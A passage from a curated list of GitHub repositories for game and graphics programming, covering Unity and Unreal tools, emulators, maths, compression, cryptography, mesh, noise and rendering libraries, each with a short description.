- [command_terminal](https://github.com/stillwwater/command_terminal) : Unity Command Terminal: In-Game Console
- [Translucency-Shader](https://github.com/Flafla2/Translucency-Shader) : A deferred translucency (with Subsurface Scattering) shader for Unity3D that integrates with existing Deferred rendering and Standard shading PBR systems. Based on research by EA DICE presented at …
- [sss-unity](https://github.com/sebastianhein/sss-unity) : Sub Surface Scattering Approximation Shader for Unity 3D
- [msaa-shadow-fix](https://github.com/sebastianhein/msaa-shadow-fix) : A little fix for the directional shadows with msaa enabled in Unity3d.
- [Brunetons-Improved-Atmospheric-Scattering](https://github.com/Scrawk/Brunetons-Improved-Atmospheric-Scattering) : A Unity port of Brunetons improved atmospheric scattering
- [AI4Animation](https://github.com/sebastianstarke/AI4Animation) : Character Animation in Unity 3D using Deep Learning and Artificial Intelligence
- [Json.Net.Unity3D](https://github.com/SaladLab/Json.Net.Unity3D) : Forked Newtonsoft.Json to support Unity3D
- [DataBind](https://github.com/tinrab/DataBind) : Simple data binding for Unity
- [Simple-RPG-in-Unity](https://github.com/GameGrind/Simple-RPG-in-Unity) : Unity project for the Simple RPG series on GameGrind.
- [Binary-Save-For-Unity](https://github.com/GameGrind/Binary-Save-For-Unity) : A quick and simple way to save and load objects for Unity.
- [VFW](https://github.com/vexe/VFW) :
- [Unity_Shaders_Book](https://github.com/candycat1992/Unity_Shaders_Book) : 书籍《Unity Shader入门精要》源代码
- [Ocean_Community_Next_Gen](https://github.com/eliasts/Ocean_Community_Next_Gen) : Next gen iteration of the unity community ocean shader
- [MeshDecimator](https://github.com/Whinarn/MeshDecimator) : A mesh decimation library for .NET and Unity.
- [UnityMeshSimplifier](https://github.com/Whinarn/UnityMeshSimplifier) : Mesh simplification for Unity.
- [High-Speed-Priority-Queue-for-C-Sharp](https://github.com/BlueRaja/High-Speed-Priority-Queue-for-C-Sharp) : A C# priority queue optimized for pathfinding applications
- [UnityUtils](https://github.com/mortennobel/UnityUtils) : A library of C# utility classes for Unity
- [Shader-Graph-Tutorials](https://github.com/Brackeys/Shader-Graph-Tutorials) : Project files for our tutorials on using Shader Graph in Unity.
- [UniGLTF](https://github.com/ousttrue/UniGLTF) : glTF 2.0 importer and exporter for Unity 5.6 or later
- [CppScript](https://github.com/unity3d-jp/CppScript) :
- [ScriptableRenderPipeline](https://github.com/Unity-Technologies/ScriptableRenderPipeline) : Scriptable Render Pipeline
- [RPG-Tutorial](https://github.com/Brackeys/RPG-Tutorial) : The Unity Project for the RPG Tutorial Series!
- [UnityCsReference](https://github.com/Unity-Technologies/UnityCsReference) : Unity C# reference source code
- [NoiseShader](https://github.com/keijiro/NoiseShader) : Noise shader library for Unity
- [crest](https://github.com/crest-ocean/crest) : An advanced ocean system implemented in Unity3D
- [volsample](https://github.com/huwb/volsample) : Research on sampling methods for real-time volume rendering
- [AutoLOD](https://github.com/Unity-Technologies/AutoLOD) : Automatic LOD generation + scene optimization
- [AnimationImporter](https://github.com/talecrafter/AnimationImporter) : Aseprite Animation Importer for Unity
- [il2cpp](https://github.com/anydream/il2cpp) : A MSIL/C# to C++ converter. Faster than CoreCLR with low memory overhead.(已弃坑.C#是个好语言,然而.NET不是一个干净的平台)
- [Randomation-Vehicle-Physics](https://github.com/JustInvoke/Randomation-Vehicle-Physics) : Vehicle physics system for the Unity engine.
- [Ceto](https://github.com/Scrawk/Ceto) : Ceto: Ocean system for Unity
- [InputSystem](https://github.com/Unity-Technologies/InputSystem) : An efficient and versatile input system for Unity.
- [Extenject](https://github.com/svermeulen/Extenject) : Dependency Injection Framework for Unity3D
- UnrealEngine
- [unrealcpp](https://github.com/Harrison1/unrealcpp) : Unreal Engine 4 C++ examples
- [RuntimeMeshComponent](https://github.com/Koderz/RuntimeMeshComponent) : Unreal Engine 4 plugin component for rendering runtime generated content.
- [ue4-docker](https://github.com/adamrehn/ue4-docker) : Windows and Linux containers for Unreal Engine 4
- [unreal.hx](https://github.com/proletariatgames/unreal.hx) : Unreal.hx: Haxe Integration for Unreal
- [HoudiniEngineForUnreal](https://github.com/sideeffects/HoudiniEngineForUnreal) : Houdini Engine Plugin for Unreal Engine 4
- [ImpostorBaker](https://github.com/ictusbrucks/ImpostorBaker) : UE4 Plugin for generating Impostors for static meshes
- [GA-SDK-UNREAL](https://github.com/GameAnalytics/GA-SDK-UNREAL) : A repository containing the GameAnalytics Unreal4 Plugin including documentation.
- [UE4-Cpp-Tutorials](https://github.com/orfeasel/UE4-Cpp-Tutorials) : This repository contains all the code I've written in my website tutorials regarding the implementation of Game Systems inside UE4
- [EpicSurvivalGameSeries](https://github.com/tomlooman/EpicSurvivalGameSeries) : Third-person Survival Game for Unreal Engine 4.
- [UnrealImGui](https://github.com/segross/UnrealImGui) : Unreal plug-in that integrates Dear ImGui framework into Unreal Engine 4.
- Emulators
- [chips](https://github.com/floooh/chips) : 8-bit chip and system emulators in standalone C headers
- [RetroArch](https://github.com/libretro/RetroArch) : Cross-platform, sophisticated frontend for the libretro API. Licensed GPLv3.
- [agnes](https://github.com/kgabis/agnes) : Header-only NES emulation library with an easy to use API.
- [Gearboy](https://github.com/drhelius/Gearboy) : Game Boy / Gameboy Color emulator for iOS, Mac, Raspberry Pi, Windows, Linux and RetroArch.
- [ppsspp](https://github.com/hrydgard/ppsspp) : A PSP emulator for Android, Windows, Mac and Linux, written in C++. Want to contribute? Join us on Discord at https://discord.gg/5NJB6dD or in #ppsspp on freenode (IRC) or just send pull requests /…
- [pcsx2](https://github.com/PCSX2/pcsx2) : PCSX2 - The Playstation 2 Emulator
- [binjgb](https://github.com/binji/binjgb) : Gameboy emulator implemented in C
- [pcsx-redux](https://github.com/grumpycoders/pcsx-redux) :
- [gameboy-emulator](https://github.com/tutasmaster/gameboy-emulator) : A simple gameboy emulator made in C++.
- [rpcs3](https://github.com/RPCS3/rpcs3) : PS3 emulator/debugger
- [libgba-cpp](https://github.com/JPTIZ/libgba-cpp) : C++ Library for Game Boy Advance Development
- [3DNes_Engine](https://github.com/tructv/3DNes_Engine) : Engine to convert NES games into 3D
## Maths
[Back to top](#Index)
- [enoki](https://github.com/mitsuba-renderer/enoki) : Enoki: structured vectorization and differentiation on modern processor architectures
- [units](https://github.com/mpusz/units) : A Physical Units Library for C++ providing compile-time dimensional analysis and unit/quantity manipulation
- [Compile-Time-Equations-Handler](https://github.com/Saswatm123/Compile-Time-Equations-Handler) :
- [version2](https://github.com/vectorclass/version2) : Vector class library, latest version
- [simde](https://github.com/nemequ/simde) : Implementations of SIMD instruction sets for systems which don't natively support them.
- [kissfft](https://github.com/mborgerding/kissfft) : a Fast Fourier Transform (FFT) library that tries to Keep it Simple, Stupid
- [MarkovNameGenerator](https://github.com/Tw1ddle/MarkovNameGenerator) : Markov process-based procedural name and word generator
- [eigen-git-mirror](https://github.com/eigenteam/eigen-git-mirror) : Git mirror of the official Eigen's repository -- PULL REQUEST MUST BE SENT TO: https://bitbucket.org/eigen/eigen
- [curves](https://github.com/ethz-asl/curves) : A library of curves for estimation.
- [hexbvh](https://github.com/bryanmcnett/hexbvh) : A hexagonal prism BVH: more efficient than AABB.
- [wavalyzer](https://github.com/geomaster/wavalyzer) : Small C++ utility for Fourier analysis and visualization of an audio signal
- [dj_fft](https://github.com/jdupuy/dj_fft) : Header only FFT library
- [essentialmath](https://github.com/jvanverth/essentialmath) : Example code and libraries for the book "Essential Mathematics for Games and Interactive Applications."
- [fieldgen](https://github.com/GeometryCollective/fieldgen) : Generates high-quality, optimally smooth tangent direction fields on triangle meshes.
- [simd](https://github.com/WebAssembly/simd) : Branch of the spec repo scoped to discussion of SIMD in WebAssembly
- [spherical-harmonics](https://github.com/google/spherical-harmonics) : Spherical harmonics library
- [MathUtilities](https://github.com/zalo/MathUtilities) : A collection of some of the neat math and physics tricks that I've collected over the last few years.
- [GLFFT](https://github.com/Themaister/GLFFT) : A C++11/OpenGL library for the Fast Fourier Transform
- [aabo](https://github.com/bryanmcnett/aabo) : Axis Aligned Bounding Octahedron
- [bhh](https://github.com/bryanmcnett/bhh) : Bounding Halfspace Hierarchy
- [muFFT](https://github.com/Themaister/muFFT) : A library for computing the Fast Fourier Transform (FFT) in one or two dimensions.
- [taichi_mpm](https://github.com/yuanming-hu/taichi_mpm) : High-performance material point method (MPM) solver. (ACM Transactions on Graphics, SIGGRAPH 2018)
- [random](https://github.com/effolkronium/random) : Random for modern C++ with convenient API
- [dlaf](https://github.com/fogleman/dlaf) : Diffusion-limited aggregation, fast.
- [rtm](https://github.com/nfrechette/rtm) : Realtime Math
- [pt_math](https://github.com/pmttavara/pt_math) : public domain fast scalar math routines
- [splines-lib](https://github.com/andrewwillmott/splines-lib) : Library of cubic spline utilities
- [ArcLengthParameterisation](https://github.com/dwilliamson/ArcLengthParameterisation) : Accurately control the speed at which parameters interpolate over curves
- [SipHash](https://github.com/veorq/SipHash) : High-speed pseudorandom function (reference code)
- [bfp](https://github.com/libcg/bfp) : Beyond Floating Point - Posit C/C++ implementation
- [ezSIFT](https://github.com/robertwgh/ezSIFT) : ezSIFT: An easy-to-use standalone SIFT library written in C/C++
- [fpot](https://github.com/graphitemaster/fpot) : Fast Point Overlap Test
- [linedetector](https://github.com/slslam/linedetector) : Efficient and Effective Line Segment Detector
- [matplotlib-cpp](https://github.com/lava/matplotlib-cpp) : Extremely simple yet powerful header-only C++ plotting library built on the popular matplotlib
- [lolremez](https://github.com/samhocevar/lolremez) : Polynomial Approximations using the Remez Algorithm
- [Flicks](https://github.com/OculusVR/Flicks) : A unit of time defined in C++.
- [lunar](https://github.com/Bill-Gray/lunar) : Basic astronomical functions
- [math-as-code](https://github.com/Jam3/math-as-code) : a cheat-sheet for mathematical notation in code form
- [sr_graph](https://github.com/kosua20/sr_graph) : A simple, one-file, header-only, C++ utility for graphs, curves and histograms.
- [xo-math](https://github.com/xoorath/xo-math) : Fast math for game developers. No headaches, no cruft.
- [understanding_floatingpoint](https://github.com/Ushio/understanding_floatingpoint) :
- [normals_revisited](https://github.com/graphitemaster/normals_revisited) : revisiting a known normal transformation in computer graphics
- [Cullminator9000](https://github.com/Alan-FGR/Cullminator9000) : The fastest culler ever
- [Simd](https://github.com/ermig1979/Simd) : C++ image processing library with using of SIMD: SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AVX, AVX2, AVX-512, VMX(Altivec) and VSX(Power7), NEON for ARM.
- [SSE-to-NEON](https://github.com/otim/SSE-to-NEON) : Header file to translate SSE instructions to ARM NEON instructions
- [flatbush](https://github.com/IMQS/flatbush) : C++ port of https://github.com/mourner/flatbush
- [libsimdpp](https://github.com/p12tic/libsimdpp) : Portable header-only zero-overhead C++ low level SIMD library
- [seamoptimizer](https://github.com/ands/seamoptimizer) : A C/C++ single-file library that minimizes the hard transition errors of disjoint edges in lightmaps.
- [tinyexpr](https://github.com/codeplea/tinyexpr) : tiny recursive descent expression parser, compiler, and evaluation engine for math expressions
- [Summed-Area-Table](https://github.com/corporateshark/Summed-Area-Table) : Summed-Area Table in a single file header-only C++11 library
- [fft](https://github.com/wareya/fft) : Public-domain single-header FFT library (power-of-2 size case only)
- [mathtoolbox](https://github.com/yuki-koyama/mathtoolbox) : Mathematical tools (interpolation, dimensionality reduction, optimization, etc.) written in C++11 with Eigen
- [blaze](https://github.com/parsa/blaze) : Mirror of Blaze library on Bitbucket
- [blaze_tensor](https://github.com/STEllAR-GROUP/blaze_tensor) : 3D Tensors for Blaze (https://bitbucket.org/blaze-lib/blaze)
- [controlled_random](https://github.com/skarupke/controlled_random) :
- Cryptography and Hashing and Compression
- [openh264](https://github.com/cisco/openh264) : Open Source H.264 Codec
- [oldunzip](https://github.com/jsummers/oldunzip) : ZIP implode/explode and reduce/expand decompression libraries
- [lonesha256-ansi](https://github.com/ryancdotorg/lonesha256-ansi) : Portable, endian-proof, single-file, single-function sha256 implementation in ANSI C
- [lonesha256](https://github.com/BareRose/lonesha256) : Portable, endian-proof, single-file, single-function sha256 implementation in C
- [lzsa](https://github.com/emmanuel-marty/lzsa) : Byte-aligned, efficient lossless packer that is optimized for fast decompression on 8-bit micros
- [zultra](https://github.com/emmanuel-marty/zultra) : Fast deflate implementation with zopfli-like ratios and a streaming API
- [lz4ultra](https://github.com/emmanuel-marty/lz4ultra) : Optimal LZ4 compressor, that produces files that decompress faster while keeping the best compression ratio
- [em_inflate](https://github.com/emmanuel-marty/em_inflate) : Fast, small, in-memory inflate (zlib, deflate and gzip decompression)
- [FastLZ](https://github.com/ariya/FastLZ) : Byte-aligned LZ77 compression
- [NvPipe](https://github.com/NVIDIA/NvPipe) : NVIDIA-accelerated zero latency video compression library for interactive remoting applications
- [SymCrypt](https://github.com/microsoft/SymCrypt) : Cryptographic library
- [lz4](https://github.com/lz4/lz4) : Extremely Fast Compression algorithm
- [zip](https://github.com/kuba--/zip) : A portable, simple zip library written in C
- [zlib](https://github.com/madler/zlib) : A massively spiffy yet delicately unobtrusive compression library.
- [libpng](https://github.com/glennrp/libpng) : LIBPNG: Portable Network Graphics support, official libpng repository
- [meow_hash](https://github.com/cmuratori/meow_hash) : Official version of the Meow hash, an extremely fast non-cryptographic hash
- [ulz](https://github.com/encode84/ulz) : An ultra-fast LZ77 compressor/data compression library
- [csoinfo](https://github.com/FRex/csoinfo) : Small Windows specific C program to print compressed and original size of CSO/ZSO file (compressed ISO)
- [WjCryptLib](https://github.com/WaterJuice/WjCryptLib) : Public Domain C Library of Cryptographic functions. Including: MD5, SHA1, SHA256, SHA512, RC4, AES, AES-CTR, AES-OFB, AES-CBC
- [ooz](https://github.com/powzix/ooz) : Open source Kraken / Mermaid / Selkie / Leviathan / LZNA / Bitknit decompressor
- [xxHash](https://github.com/Cyan4973/xxHash) : Extremely fast non-cryptographic hash algorithm
- [robin-hood-hashing](https://github.com/martinus/robin-hood-hashing) : Fast & memory efficient hashtable based on robin hood hashing for C++11/14/17/20
- [minih264](https://github.com/lieff/minih264) : Minimalistic H264/SVC encoder single header library
- [density](https://github.com/centaurean/density) : Superfast compression library
- [hash-prospector](https://github.com/skeeto/hash-prospector) : Automated integer hash function discovery
- [snappy](https://github.com/google/snappy) : A fast compressor/decompressor
- [miniz-cpp](https://github.com/tfussell/miniz-cpp) : A cross-platform header-only C++14 library for reading and writing ZIP files
- [base-x](https://github.com/Kronuz/base-x) : BaseX encoder / decoder for C++
- [ed25519](https://github.com/orlp/ed25519) : Portable C implementation of Ed25519, a high-speed high-security public-key signature system.
- [smhasher](https://github.com/aappleby/smhasher) : Automatically exported from code.google.com/p/smhasher
- [mbedcrypto](https://github.com/azadkuh/mbedcrypto) : a portable, small, easy to use and fast c++14 library for cryptography.
- [hashcat](https://github.com/hashcat/hashcat) : World's fastest and most advanced password recovery utility
- [nozip](https://github.com/vivkin/nozip) : Tiny C library for reading ZIP files
- [hashlibpp](https://github.com/aksalj/hashlibpp) : Simple and very easy to use library to create a cryptographic checksum (hash) in plain C++
- [fast_zlib](https://github.com/gildor2/fast_zlib) : Heavily optimized zlib compression algorithm
- [luazen](https://github.com/philanc/luazen) : simple compression, encoding and cryptographic functions
- [lizard](https://github.com/inikep/lizard) : Lizard (formerly LZ5) is an efficient compressor with very fast decompression. It achieves compression ratio that is comparable to zip/zlib and zstd/brotli (at low and medium compression levels) at…
- [andyzip](https://github.com/andy-thomason/andyzip) : A fast and compact modern C++ (header only) zip, bzip2 and brotli library
- [miniz](https://github.com/richgel999/miniz) : miniz: Single C source file zlib-replacement library, originally from code.google.com/p/miniz
- [cryptopp](https://github.com/weidai11/cryptopp) : free C++ class library of cryptographic schemes
- [cocoa](https://github.com/r-lyeh-archived/cocoa) : Cocoa is an uniform hashing library with no dependencies that provides interface for CRC32, CRC64, GCRC, RS, JS, PJW, ELF, BKDR, SBDM, DJB, DJB2, BP, FNV, FNV1a, AP, BJ1, MH2, SHA1, SFH (C++11)
- [bundle](https://github.com/r-lyeh-archived/bundle) : Bundle, an embeddable compression library: DEFLATE, LZMA, LZIP, BZIP2, ZPAQ, LZ4, ZSTD, BROTLI, BSC, CSC, BCM, MCM, ZMOLLY, ZLING, TANGELO, SHRINKER, CRUSH, LZJB and SHOCO streams in a ZIP file (C++03)(C++11)
- [deutex](https://github.com/Doom-Utils/deutex) : WAD composer for Doom, Heretic, Hexen, and Strife
- [cxx14-hash](https://github.com/asutton/cxx14-hash) : An object hashing facility.
- [nibrans](https://github.com/BareRose/nibrans) : Simple, single-file, nibble-based, adaptive rANS library with SSE2-accelerated modeling
- [pithy](https://github.com/johnezang/pithy) : Fast compression / decompression library.
- [microtar](https://github.com/rxi/microtar) : A lightweight tar library written in ANSI C
- [dmc_unrar](https://github.com/DrMcCoy/dmc_unrar) : A dependency-free, single-file FLOSS unrar library
- [FastPFor](https://github.com/lemire/FastPFor) : The FastPFOR C++ library: Fast integer compression
- [MetroHash](https://github.com/jandrewrogers/MetroHash) : MetroHash v1: Exceptionally fast and statistically robust hash functions
- [Kuku](https://github.com/microsoft/Kuku) : Kuku is a compact and convenient cuckoo hashing library written in C++.
- [lzma_sh](https://github.com/Shelwien/lzma_sh) : compact lzma decoder
- [zstd](https://github.com/facebook/zstd) : Zstandard - Fast real-time compression algorithm
- Linear Algebra
- [cglm](https://github.com/recp/cglm) : Highly Optimized Graphics Math (glm) for C
- [eigen](https://github.com/PX4/eigen) : Eigen is a C++ template library for linear algebra: matrices, vectors, numerical solvers, and related algorithms.
- [vml](https://github.com/valentingalea/vml) : C++17 GLSL-like vector and matrix math lib
- [hlml](https://github.com/fmutant/hlml) : vectorized high-level math library
- [mathfu](https://github.com/google/mathfu) : C++ math library developed primarily for games focused on simplicity and efficiency.
- [xsimd](https://github.com/QuantStack/xsimd) : Modern, portable C++ wrappers for SIMD intrinsics and parallelized, optimized math implementations (SSE, AVX, NEON, AVX512)
- [vectorial](https://github.com/scoopr/vectorial) : Vector math library with NEON/SSE support
- [dualquaternion](https://github.com/procedural/dualquaternion) :
- [AngryQuaternion](https://github.com/matejd/AngryQuaternion) : Dual Quaternion Skinning
- [MathGeoLib](https://github.com/juj/MathGeoLib) : A C++ library for linear algebra and geometry manipulation for computer graphics.
- [Handmade-Math](https://github.com/HandmadeMath/Handmade-Math) : A simple math library for games and computer graphics. Compatible with both C and C++.
- [glm](https://github.com/g-truc/glm) : OpenGL Mathematics (GLM)
- [MEPP](https://github.com/MEPP-team/MEPP) : Mepp - 3D MEsh Processing Platform
- [gemmlowp](https://github.com/google/gemmlowp) : Low-precision matrix multiplication
- [linalg](https://github.com/sgorsten/linalg) : linalg.h is a single header, public domain, short vector math library for C++
- [cmath3d](https://github.com/jpreiss/cmath3d) : 3d math library for C. Vectors, 3x3 matrices, quaternions.
- [linmath.h](https://github.com/datenwolf/linmath.h) : a lean linear math library, aimed at graphics programming. Supports vec3, vec4, mat4x4 and quaternions
- [xsimd](https://github.com/xtensor-stack/xsimd) : C++ wrappers for SIMD intrinsics and parallelized, optimized mathematical functions (SSE, AVX, NEON, AVX512)
- [ConeTightFitAABB](https://github.com/Ushio/ConeTightFitAABB) :
- [MIPP](https://github.com/aff3ct/MIPP) : MIPP is a portable wrapper for SIMD instructions written in C++11. It supports NEON, SSE, AVX and AVX-512.
- [geomc](https://github.com/trbabb/geomc) : A c++ linear algebra template library
- Meshes & Polygons
- [shaper](https://github.com/paulknysh/shaper) : A C++ tool for 3D reconstruction from parallel 2D sections
- [libigl](https://github.com/libigl/libigl) : Simple C++ geometry processing library.
- [cinolib](https://github.com/mlivesu/cinolib) : A generic programming header only C++ library for processing polygonal and polyhedral meshes
- [assimp](https://github.com/assimp/assimp) : Official Open Asset Import Library Repository. Loads 40+ 3D file formats into one unified and clean data structure.
- [instant-meshes](https://github.com/wjakob/instant-meshes) : Interactive field-aligned mesh generator
- [trimesh2](https://github.com/Forceflow/trimesh2) : C++ library and set of utilities for input, output, and basic manipulation of 3D triangle meshes
- [SeamAwareDecimater](https://github.com/songrun/SeamAwareDecimater) : Mesh simplification with UV's boundary preserved
- [hole_fixer](https://github.com/Erkaman/hole_fixer) : Demo implementation of smoothly filling holes in 3D meshes using surface fairing
- [bounding-mesh](https://github.com/gaschler/bounding-mesh) : Implementation of the bounding mesh and bounding convex decomposition algorithms for single-sided mesh approximation
- [boundary-first-flattening](https://github.com/GeometryCollective/boundary-first-flattening) :
- [meshoptimizer](https://github.com/zeux/meshoptimizer) : Mesh optimization library that makes meshes smaller and faster to render
- [meshgeometry](https://github.com/r03ert0/meshgeometry) : mesh geometry tools
- [draco](https://github.com/google/draco) : Draco is a library for compressing and decompressing 3D geometric meshes and point clouds. It is intended to improve the storage and transmission of 3D graphics.
- [xatlas](https://github.com/prideout/xatlas) : Mesh parameterization library
- [PolyFit](https://github.com/LiangliangNan/PolyFit) : Polygonal Surface Reconstruction from Point Clouds
- [gDel3D](https://github.com/ashwin/gDel3D) : gDel3D is the fastest 3D Delaunay triangulation algorithm. It uses the GPU for massive parallelism.
- [quickhull](https://github.com/akuukka/quickhull) : C++ implementation of the 3D QuickHull algorithm
- [voxels](https://github.com/stoyannk/voxels) : Voxels Library - C++ library for voxel manipulation and polygonization
- [libmc](https://github.com/glines/libmc) : C/C++ Isosurface Extraction library
- [voxelizer](https://github.com/kctess5/voxelizer) : A simple mesh voxelizer, GPU accelerated with CUDA
- [Fast-Quadric-Mesh-Simplification](https://github.com/sp4cerat/Fast-Quadric-Mesh-Simplification) : Mesh triangle reduction using quadrics
- [earcut.hpp](https://github.com/mapbox/earcut.hpp) : Fast, header-only polygon triangulation
- [delabella](https://github.com/msokalski/delabella) : 2D Delaunay triangulation (dela) - super stable (bella!)
- [MEPP2](https://github.com/MEPP-team/MEPP2) : Mepp2 - 3D MEsh Processing Platform
- [xatlas](https://github.com/jpcy/xatlas) : Mesh parameterization / UV unwrapping library
- [QuadriFlow](https://github.com/hjwdzh/QuadriFlow) : QuadriFlow: A Scalable and Robust Method for Quadrangulation
- [quantized-mesh](https://github.com/AnalyticalGraphicsInc/quantized-mesh) : Specification for streaming massive terrain datasets for 3D visualization.
- [Easy3D](https://github.com/LiangliangNan/Easy3D) : A lightweight, easy-to-use, and efficient C++ library for processing and rendering 3D data (i.e., meshes, point clouds).
- [pmp-library](https://github.com/pmp-library/pmp-library) : The Polygon Mesh Processing Library
- [TriWild](https://github.com/wildmeshing/TriWild) : TriWild: Robust Triangulation with Curve Constraints
- [NuoModelViewer](https://github.com/middlefeng/NuoModelViewer) : A simple Wavefront OBJ viewer.
- [MagicaVoxel-VOX-importer](https://github.com/RichysHub/MagicaVoxel-VOX-importer) : Blender import script for MagicaVoxel .vox format as cube primitives.
- [polypartition](https://github.com/ivanfratric/polypartition) : Tiny Polygon Partitioning and Triangulation Library
- [CDT](https://github.com/artem-ogre/CDT) : C++ library for constrained Delaunay triangulation (CDT)
- [rect-packer](https://github.com/wsmind/rect-packer) : A simple yet efficient box packing algorithm
- Noise
- [LowDiscBlueNoise](https://github.com/dcoeurjo/LowDiscBlueNoise) :
- [FastNoise](https://github.com/Auburns/FastNoise) : Fast C++ Noise Library
- [BlueNoiseDitherMaskTiles](https://github.com/jdupuy/BlueNoiseDitherMaskTiles) : Utility for producing blue-noise dither mask tiles on the GPU
- [BlueNoiseDitherPatternGeneration](https://github.com/Atrix256/BlueNoiseDitherPatternGeneration) : Comparing some methods of generating blue noise dither patterns, to go with a blog post
- [VirtualPlanetBuilder](https://github.com/openscenegraph/VirtualPlanetBuilder) : Tool for generateing paged databases from geospatial imagery and heightfields
- [TileableVolumeNoise](https://github.com/sebh/TileableVolumeNoise) : Collection of functions that can be used to generate tileable volume/3d noise. An exemple of volume noise functions that can be specifically used for clouds is also presented.
- [infnoise](https://github.com/13-37-org/infnoise) : The world's easiest TRNG to get right
- [oidn](https://github.com/OpenImageDenoise/oidn) : Intel(R) Open Image Denoise library
- [open-simplex-noise-in-c](https://github.com/smcameron/open-simplex-noise-in-c) : Port of Kurt Spencer's java implementation of open simplex noise to C -- Note: This is NOT Ken Perlin's Simplex noise algorithm.
- [heman](https://github.com/prideout/heman) : C99 heightmap utilities.
- [SimplexNoise](https://github.com/SRombauts/SimplexNoise) : A Perlin's Simplex Noise C++ Implementation (1D, 2D, 3D)
- [NoiseGenerator](https://github.com/Nomoresleep/NoiseGenerator) : Node-based Noise and Pattern Editing Software
- [SimplexNoise](https://github.com/devdad/SimplexNoise) : * This is a clean, fast, modern and free Perlin Simplex noise function.All Public Functions are BlueprintCallable so they can be used in every blueprint. From DevDad and Dedicated to you and Unreal…
- [VoronoiMapGen](https://github.com/phoenixzz/VoronoiMapGen) : Generation of random Island maps with Voronoi using C++
- [worley](https://github.com/bhickey/worley) : worley noise
- [SimplexNoise](https://github.com/PawelWorwa/SimplexNoise) : Cpp port for Simplex Noise library
- [FastNoiseSIMD](https://github.com/Auburns/FastNoiseSIMD) : C++ SIMD Noise Library
- [SimplexNoise](https://github.com/simongeilfus/SimplexNoise) : Collection of Simplex Noise functions
- [hmm](https://github.com/fogleman/hmm) : Heightmap meshing utility.
- [forvor](https://github.com/stolk/forvor) : Fortune's Voronoi Generator
- [perlin-noise](https://github.com/stegu/perlin-noise) : Various versions of Perlin noise (C and C++)
- [matchstick](https://github.com/Mischa-Alff/matchstick) : toying with markov stuff
## Graphics
[Back to top](#Index)
- [fun-with-graphics](https://github.com/FancyVin/fun-with-graphics) : Fun with graphics
- [abrash-black-book](https://github.com/jagregory/abrash-black-book) : Markdown source for Michael Abrash's Graphics Programming Black Book
- [GraphicsGems](https://github.com/erich666/GraphicsGems) : Code for the "Graphics Gems" book series
- [gpu-monitoring-tools](https://github.com/NVIDIA/gpu-monitoring-tools) : Tools for monitoring NVIDIA GPUs on Linux
- [multi-gpu-programming-models](https://github.com/NVIDIA/multi-gpu-programming-models) : Examples demonstrating available options to program multiple GPUs in a single node or a cluster
- [mesa](https://github.com/daniel-schuermann/mesa) : Mesa 3D graphics library (mirror; no pull requests here please)
- [USD](https://github.com/PixarAnimationStudios/USD) : Universal Scene Description
- [FidelityFX](https://github.com/GPUOpen-Effects/FidelityFX) : A set of AMD provided GPU effects with provided source and sample implementations
- [Custom-Middleware](https://github.com/ConfettiFX/Custom-Middleware) : This repository holds custom and commercial middleware packages
- [MDL-SDK](https://github.com/NVIDIA/MDL-SDK) : NVIDIA Material Definition Language SDK
- [rendering-bib](https://github.com/wkjarosz/rendering-bib) : My master bibliography file with publications mostly in computer graphics, rendering, transport theory, and statistics.
- [GPUZen2](https://github.com/wolfgangfengel/GPUZen2) : Example programs and source code for GPU Zen 2
- [GDC2019_Public](https://github.com/TheRealMJP/GDC2019_Public) : Public repository for my GDC 2019 presentation "Breaking Down Barriers"
- [azura](https://github.com/vasumahesh1/azura) : Repository for real time rendering engine and tools for C++
- [sun-sky](https://github.com/andrewwillmott/sun-sky) : Various sun/sky models, convolution of theta/gamma-parameterised models
- [SDL2](https://github.com/emscripten-ports/SDL2) :
- [NVFC](https://github.com/graphitemaster/NVFC) : OpenSource tool for monitoring, configuring and overclocking NVIDIA GPUs
- [libtess2](https://github.com/memononen/libtess2) : Game and tools oriented refactored version of GLU tesselator.
- [GraphicsSamples](https://github.com/NVIDIAGameWorks/GraphicsSamples) : GameWorks cross-platform graphics API samples
- [MetricsDiscoveryHelper](https://github.com/GameTechDev/MetricsDiscoveryHelper) : A wrapper for Intel(R) MetricsDiscovery API that simplifies some common tasks and provides a more unified interface across different graphics APIs.
- [glTF-Tutorials](https://github.com/KhronosGroup/glTF-Tutorials) : glTF Tutorials
- [amdgpu_ihv_info](https://github.com/procedural/amdgpu_ihv_info) :
- [NonEuclidean](https://github.com/HackerPoet/NonEuclidean) : A Non-Euclidean Rendering Engine for 3D scenes.
- [aobaker](https://github.com/karimnaaji/aobaker) : ambient occlusion baking tool
- [mesa](https://github.com/mesa3d/mesa) : Mesa 3D graphics library (mirror; pull requests are ignored)
- [piglit](https://github.com/mesa3d/piglit) : Piglit 3D library test suite
- [DIWide](https://github.com/notnullnotvoid/DIWide) : A featureful realtime 3D software render
- [yocto-gl](https://github.com/xelatihy/yocto-gl) : Yocto/GL: Tiny C++ Libraries for Data-Driven Physically-based Graphics
- [libgltf](https://github.com/code4game/libgltf) : glTF 2.0 parser for C++11
- [tinygltf](https://github.com/syoyo/tinygltf) : Header only C++11 tiny glTF 2.0 library
- [AGS_SDK](https://github.com/GPUOpen-LibrariesAndSDKs/AGS_SDK) : AMD GPU Services (AGS) library and samples
- [sse-avx-rasterization](https://github.com/Erkaman/sse-avx-rasterization) : Triangle rasterization routines accelerated by SSE and AVX
- [RGA](https://github.com/GPUOpen-Tools/RGA) : The Radeon GPU Analyzer (RGA) is an offline compiler and code analysis tool for Vulkan, DirectX, OpenGL, and OpenCL.
- [glTF](https://github.com/KhronosGroup/glTF) : glTF – Runtime 3D Asset Delivery
- [forsyth](https://github.com/vivkin/forsyth) : Linear-Speed Vertex Cache Optimization
- [GPA](https://github.com/GPUOpen-Tools/GPA) : GPU Performance API for AMD GPUs
- [color-theory](https://github.com/tallys/color-theory) :
- [moderngpu](https://github.com/moderngpu/moderngpu) : Patterns and behaviors for GPU computing
- [water-resources](https://github.com/crest-ocean/water-resources) : Resources for water rendering
- [cgltf](https://github.com/prideout/cgltf) : Single-file C glTF loader
- [sts](https://github.com/Sigkill79/sts) : Single file library for vertex cache optimisation of triangles.
- [stdgpu](https://github.com/stotko/stdgpu) : stdgpu: Efficient STL-like Data Structures on the GPU
- [Scape](https://github.com/UglySwedishFish/Scape) : Highly realistic landspace rendering engine.
- [bigger](https://github.com/yuki-koyama/bigger) : bigg (bgfx + imgui + glfw + glm) + utils
- [tinycolormap](https://github.com/yuki-koyama/tinycolormap) : A header-only, single-file library for colormaps written in C++11
- [vacancy](https://github.com/unclearness/vacancy) : Vacancy: A Voxel Carving implementation in C++
